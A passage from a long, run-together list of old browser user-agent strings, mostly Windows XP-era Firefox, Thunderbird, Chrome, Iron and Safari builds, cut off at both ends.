(Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1) Gecko/2007051502 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.1) Gecko/20061230 BonEcho/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Paros/3.2.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070728 Thunderbird/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9) Gecko/2008052906 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.5) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.16;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.9) Gecko/20100317 Lightning/1.0b1 Thunderbird/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 AskTbUTR/3.11.3.15590 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.8) Gecko/20100722 AskTbFXTV5/3.8.0.12304 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-NZ; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-NZ; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.15 (KHTML, like Gecko) QtWeb Internet Browser/1.2 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.6.1+ (KHTML, like Gecko) Version/3.0 Safari/523.6.1+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Fluid/0.9.4 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12079480.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12207312.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12272384.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12279816.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12282560.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12285712.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12475112.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12535056.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12542120.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12595016.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12733120.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/13543896.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/28768176.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/525.28.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.2 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.5 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.7 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/2.0 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/3.0 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.0.2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Iron/0.3.155.0 Safari/13506912.528 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.7 (KHTML, like Gecko) Iron/1.0.155.0 Safari/528.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Iron/2.0.168.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, 